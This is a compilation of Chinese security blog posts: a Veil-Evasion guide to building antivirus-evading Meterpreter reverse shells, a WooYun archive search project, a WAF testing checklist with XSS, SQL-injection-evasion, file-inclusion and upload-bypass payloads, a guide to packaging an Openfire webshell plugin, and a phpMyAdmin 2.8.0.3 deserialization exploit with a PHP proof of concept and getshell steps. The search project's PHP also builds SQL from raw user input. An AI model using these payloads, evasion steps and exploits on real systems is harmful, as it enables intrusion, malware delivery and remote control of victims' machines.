使用 Veil-Evasion+Metasploit 打造免杀 Payload

简介

Veil-Evasion是一个用python写的流行的框架。我们可以用这个框架生成能够规避大多数杀软的载荷。Veil-Evasion被原生设计为在kali上,但其实存在python环境的系统上应该都能运行。

你可以用命令行轻松调用Veil-Evasion,按菜单选项生成payload。在创建payload的时候,Veil-Evasion会询问你是否想把payload文件用Pyinstaller或者Py2Exe转为可执行文件。

安装

下载

安装

kali linux可以直接

apt-get install veil-evasion

git克隆安装:

git clone http://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/setup
./install-addons.sh

视频介绍

腾讯视频

使用

payload列表

1.jpg

使用uselist可以列出当前可用的模块

2.jpg

简单实例

我们利用这个payload

6)  c/meterpreter/rev_tcp

这里,我们输入命令:

use 6

或者

use c/meterpreter/rev_tcp

3.jpg

我们只需配置一下options就可以了,包括监听地址,端口,是否生成exe

这里,我们仅配置一下地址,然后run/generate(生成):

set LHOST 192.168.1.114
generate

4.jpg

payload路径:/var/lib/veil-evasion/output/source/

5.jpg

测试360查杀:

6.jpg

设置监听:

7.jpg

当payload在目标机器运行后,获得session:

8.jpg

Python转换exe

这个过程实际上是生成了一个python脚本,我们可以通过pyinstaller将其转化问exe文件

下面简单讲一下将python脚本生成为exe文件的过程

pyinstaller安装

下载pyinstaller并解压(可以去官网下载最新版):

http://nchc.dl.sourceforge.net/project/pyinstaller/2.0/pyinstaller-2.0.zip

安装最新版本的 pywin32-217.win32-py2.7.exe:

http://download.csdn.net/detail/gfsfg8545/6539111

不然会出现如下错误

Error: PyInstaller for Python 2.6+ on Windows needs pywin32.

具体安装过程可以参考这篇博文:

http://blog.csdn.net/hmy1106/article/details/45151409

一般的命令:(cmd进入到pyinstaller的文件夹)

python pyinstaller.py -w –onefile xxx.py(你想转换的py脚本) 
python pyinstaller.py -w –onefile –icon=”my.ico” xxx.py

关于图标的设置问题:应该准备四张不同尺寸(具体尺寸参靠:stackoverflow的png文件,然后用png2icon(下载)脚本把它们合成一张icon图标文件

msf的设置以及veil-evasion的设置

这里分两种情况:

1.内网连接后门

内网比较简单, veil-evasion里选定模之后,可以指定LHOST就是你的计算机在内网的ip,然后受控端也在内网,可以直接到:/var/lib/veil-evasion/output/handlers/这个目录下找到相应的msf脚本,然后执行:

msfconsole -r “veil生成的msf脚本文件”

msf监听

  • 开启msf
  • use exploit/multi/handler
  • set PAYLOAD windows/meterpreter/reverse_tcp
  • set LHOST 你本机内网的ip地 ,set LPORT 你本地监听的端口
  • explit

参考

veil-framework

灵活布置、可二次开发的乌云公开漏洞及知识库搜索

感谢hanc00l爬取了wooyun的网页,才使乌云关闭后,大家依旧可以访问以前的漏洞库、知识库。hanc00l发布了基于flask或者torndo的乌云公开漏洞、知识库搜索的github项目,同时发布了已经配置好的虚拟机,允许大家直接把乌云搭建在了本地。

为了方便的在本地进行乌云搜索,我准备把乌云搜索搭建在树莓派上。但是,hanc00l使用的数据库是mangodb,总数据在6GB左右。32位的mangodb支持的总共数据大小最大是2GB,而我的树莓派正是32位,所以我没办法在树莓派上布置。于是利用静态的乌云漏洞库、知识库,我自己建立了数据库、搜索页面,实现了可在apache、nginx等上布置,基于mysql数据库的乌云知识库、漏洞库搜索项目。

我的项目使用python依次处理静态页面,用正则抽取出信息再批量插入数据库;之后又写了个php,实现了对数据库的搜索。

二.python的经验分享

我在python中利用的扩展库是BeautifulSoup与MySQLdb。关于这两个库的介绍有很多,下面我主要介绍下我对这两个库的操作。

1)beautifulsoup的使用

from bs4 import BeautifulSoup     #引用库

soup=BeautifulSoup(html,"html.parser")       #创建BeautifulSoup对象,html为目标

corps=soup.find_all('p',class_='words')      #从对象中查找类名为words的p的标签

大家可以输出一下试试

2)MySQLdb的使用

import MySQLdb    #引用库

try:   #错误处理

        conn=MySQLdb.connect(host='localhost',port=3306,user='root',passwd='',db='wooyun',charset='utf8')     #建立连接,host主机、port端口(默认3306)、user用户、passwd密码、db操作的库、charset字符编码

        cur=conn.cursor()  #获取操作游标

        reload(sys)

        sys.setdefaultencoding('utf-8')   #设置编码

        tmp=(title1,date1,author1[0],type1[0],corp1[0],docs)  #要插入的数组

        cur.execute("INSERT INTO `bugs`(`title`,`dates`,`author`,`type`,`corp`,`doc`) VALUES(%s,%s,%s,%s,%s,%s)",tmp)    #插入数据库

        conn.commit()    #提交操作,插入时不可省

        cur.close()    

        conn.close()    #关闭连接,释放资源

except MySQLdb.Error,e:

         print "Mysql Error %d: %s" % (e.args[0], e.args[1])    #如果出错,输出错误

对于mysql不是很熟悉的同学如果有phpmyadmin的话可以在phpmyadmin中操作一下数据库,可以预览mysql语句。也可以在mysql命令行中执行语句尝试。

三.php的经验分享

虽然以前一直会php和css,但是这是第一次真正写一个动态页面。

首先对参数进行过滤。判断是否为整数数字:

if(is_numeric($_GET['page'])&&is_int($_GET['page']+0)){

        #code

    }

php中标签的输出是这样的!

echo "<p style=\"display:inline-block;\">haha</p>";

bootstrap很好用!

推荐链接:

bootstarap基本css样式;

bootstarp组件。

php对数据库的处理:

现在版本的php不再推荐MYSQL函数了,建议使用PDO或者mysqli

本来想使用pdo的,想感受一下预处理。但是pdo会对参数中的某些字符进行转义。无论我怎么处理都会报错,最终我决定使用mysqli了。

//mysql建立连接 

$db=new mysqli('localhost','root','','wooyun'); //localhost:3307

//sql对象错误检查 

if(mysqli_connect_errno()){ 

echo '<br>Error:Please try again later.'; 

exit(); 
}

参数如上,不解释了。host有两种方式,默认端口是localhost;指定端口是localhost:3307

$query0="SELECT count(*) FROM `".$kind."` WHERE `title` LIKE '%".$keywords."%'";  #mysql语句

$num=$db->query($query0);   #执行该语句

$row=$num->fetch_row();    #取得结果

四.后记

在课业之余用了10天时间搭建完成,见识了很多扩展,很有帮助。

我的新浪微博:http://weibo.com/grt1st

项目github地址:https://github.com/grt1st/wooyun_search

从甲方的角度谈谈WAF测试方法--part1

网络上很多同行都发文讨论过各种绕WAF的技巧,也有很多文章分享自研WAF的思路。

作为传统行业的甲方安全工程师,我试着写一写自己在WAF选型测试时的大体思路。

一方面,是对自己完成一个项目的总结,另一方面,也算是提供一个不同的视角看看WAF,希望对乙方朋友今后设计、优化WAF产品有一点点帮助。

0X01 测试思路

环境搭建

  • 服务器:使用DVWA搭建一套包含各类漏洞的网站,并开启access日志以供分析。DVWA搭建过程不细说。
  • WAF:反向代理部署,将DVWA服务器做反向代理后映射出VS IP。测试时所有payload发送至VS
    IP,经WAF处理后交给DVWA服务器。
  • 测试方法:客户端构造payload提交给VS IP,服务器查看access日志。如被有效识别并过滤,access日志应没有相关内容。

0X02 OWASP TOP10 常规防御

SQLi

  • get型注入:http://10.44.100.18/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#
    的参数id可以注入,构造payload提交即可。
  • post型注入:DVWA登录过程用burpsuite抓包,即可构造post型注入。

XSS

  • 反射型XSS和存储型XSS在DVWA中都有,构造payload即可。

CSRF、command injection、Brute Foce、File upload等等方式,DVWA都有了,不细说。

漏掉的是SSRF、反序列化、structs、心脏滴血,这些攻击在当前版本的DVWA中是没有设计的,需要单独考虑。

0X03 绕过技术的防御

除了最常见攻击手法的防御以外,WAF还应该具备识别变形的Payload的能力。

目前国内外商业WAF可以识别99%以上的常规攻击手段,区别主要就体现在对各类编码后的变形Payload的分析能力上。

这里面又区分成了两大类思路。

思路一:

WAF抓取到HTTP包后,做多重解码,将每重解码的结果提取正则,与特征库进行匹配。各家能解码的层数会有区别。F5的ASM可以支持最多5层并且允许用户手工设定层数。其他家虽不可指定解码层数,但都具备相应能力。

思路二:

考虑到正则匹配容易误报漏报,有厂家放弃了这种分析模式,转而做语义分析。长亭科技的SqlChop就是如此,详情可阅读:SQLChop - 一个新型 SQL 注入检测引擎

在测试中,需要手工对payload做编码变形。详细说来:

SQLi变形

  • urlencode编码:别小看这种常见的绕过方法,有厂家的WAF还真检测不出来。
  • unicode编码
  • 关键字大小写替换:这个比较常规了,基本是没有检测不到的。
  • 关键字转为十六进制
  • 关键字用反引号引起来
  • 关键字用/#! #/注释引起来
  • 关键字用/##/注释截断:select转为sel/**/ect
  • 关键字用%00截断
  • 提交的HTTP包中,将x-originating-IP 改为127.0.0.1
  • 提交的HTTP包中,将X-remote-addr 改为127.0.0.1
  • SQLMAP的各类TAMPER,挨个试一试吧

XSS变形

XSS变形最多,WAF漏报也是最严重的。谁让HTML可利用的标签那么多呢。

这一块的测试,有赖于测试者平时收集各类XSS payload 的量。我仅列出一部分常见的以供参考:

<embed/src=//goo.gl/nlX0P>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<a onmouseover="javascript:window.onerror=alert;throw 1>
<svg><script>varmyvar="YourInput";</script></svg>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
<script>//@cc_on!alert(1)/*@cc_on~alert(2)@*/</script>
<marquee/onstart=confirm(2)>/
<a/onmouseover[\x0b]=location=&#039;\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B&#039;>XSS

文件包含绕过

data:text/plain;base64,ZGF0YTp0ZXh0L3BsYWluLDw/cGhwIHN5c3RlbSgnY2F0IC92YXIvd3d3L0ZpbGVJbmNsdWRlLnBocCcpPz4=

文件上传绕过

文件上传绕过主要考虑几个方面:

  • 123.php.123
  • 123.asp;.gif
  • as.php%00.gif
  • 文件开头添加GIF89a
  • burpsuite抓包修改Content-Type: image/jpeg

0X04 扫描器防御能力

WAF应具备根据数据包特征识别扫描器的能力,并加以阻止。常见的扫描器,如WVS、SQLMAP、Netsparker、havij、Appscan都应该拿来实际测试WAF的反应。

需要说明的一点是,WAF不仅要拦截扫描器发来的数据包,还应在日志中注明,攻击者使用何种扫描器。这对运维人员分析日志很有帮助。

例如,实际测试中,Imperva对SQLMAP和Netsparker都可以准确识别。而F5的ASM则可以准确识别WVS和SQLMAP。FortiWeb则不具备这个能力。

剩下几个章节,将讨论以下内容:

  • Webshell通信拦截测试

Hacking Openfire

0x01 环境:eclipse+openfire源码

源码地址:http://www.igniterealtime.org/downloads/source.jsp

最新版openfire安装方法可参考:http://www.51itong.net/openfire4-0-2-eclipse-19194.html

0x02 webshell插件生成方法

插件生成思路:将自己想使用的jsp马或者其他辅助jsp加入到已有的plugin->src->web目录下,然后biuld path,然后用ant打包成jar包,这样一个定制的傀儡插件就生成好了。

目前互联网上常见的的openfire版本大多为3.9.0或以上版本,为了兼容低版本,寻找存在插件时最好选支持低版本的插件,具体看plugin.xml中的minServerVersion,如下图:

openfire_plugin_xml.png

找到合适的插件后,需要将自己要编译打包的jsp放到插件的src->web目录下,没有目录可以新建一个

然后选中插件,Build Path -> Use as Source Folder,然后修改源码build目录下的build.properties,下载的文件中这个多了个后缀,去掉后缀,然后如图修改(我选的插件叫broadcast,所以这里改成broadcast):

build_xml.png

然后右击build.xml 选择run as -> Ant Build (选择第二个),然后在如图所示的位置打钩,这里只编译broadcast插件:

ant.png

这样,一个插件jar包就生成好了,生成位置位于项目文件夹下的targetopenfireplugins下。

0x03 后台getShell

登陆到后台,上传插件,如图:

upload_jar.png

然后访问http://127.0.0.1/plugins/你的插件名/ma.jsp

browser.png

cmd_s.png

编译好的插件:

plugins.zip

PhpMyAdmin某版本无需登录任意文件包含导致代码执行(可getshell)漏洞分析

首发:http://www.mottoin.com/87915.html

前言

这个漏洞来源于路人甲在wooyun提交的漏洞

漏洞编号: WooYun-2016-199433

1x.png

4月12日也曾在t00ls发表过,但是帖子关闭了

(详细漏洞文档可进群索取)

分析

存在漏洞的已知版本为 2.8.0.3 其余版本未知

本次测试的版本为2.8.0.3

看存在漏洞的文件代码

/scripts/setup.php

图片1.png

把传入的configuration给反序列化,而这个setup.php中引入了common.lib.php

来到common.lib.php

图片2.png

common.lib.php中引入了Config.class.php

再看看Config.class.php

M7jmQrI.png

继续看load方法:

图片4-1.png

Config.class.php中含有__wakeup魔术方法,因此可以构造序列化参数,造成反序列化漏洞

所以整个思路就是:

setup.php->common.lib.php->Config.class.php->__wakeup()->load()->eval();

漏洞验证

构造个简单的poc:

url:

http://localhost/phpmyadmin/scripts/setup.php

post data:

configuration=O:10:”PMA_Config”:1:{s:6:”source”;s:11:”/etc/passwd”;}&action=test

mac下测试:

图片5-1.png

Win下:

图片6-1.png

提供一个PHP版PoC:

<?php
class PMA_Config
{
public $source;
}
$t = new PMA_Config();
$t -> source = $_GET['file'];
$str = serialize($t);
$url = $_GET['url'];
$data = "configuration=".$str."&action=test";
echo $data;
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_POST,true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
echo curl_exec($ch); 
?>

Getshell

  • 利用方式一

但是经过分析这个漏洞是不能读取php文件的,因为有了eval(),相当于任意文件包含了,不过另一方面这也是有好处的,如果能写入文件,文件中包含一个一句话就可以直接getshell了。作者给的方式是用error log。

根据作者的方法,使用默认环境,才发现有点鸡肋,比如,在ubuntu下,一般是不允许用root权限运行,实际测试中,我们是无法读取access.log的,所以getshell就比较困难。在windows下,由于几乎所有的浏览器和python模块都会很“自觉地”将特殊字符编码进行转换”,getshell就更困难了,所以只能用socket去构造shell。

图片7-1.png

Access log中就出现了shell了。

图片8-1.png

再用任意文件包含漏洞去包含,就可以拿到shell了。

图片9-1.png

  • 利用方式二

PoC修改为如下:

poc2.png

通过FTP直接远程利用获取shell

前提是看file_get_contents可不可以远程(默认是开启的)

影响范围

  • 存在漏洞的已知版本为 2.8.0.3 其余版本未知
  • 许多内网的系统都在用这个版本,外网的也绝非少数!

修复建议

  • 尽快升级到最新版
  • setup.php中28行中的”configuration”改为传入其他值
  • 直接删除scripts目录,防止被恶意攻击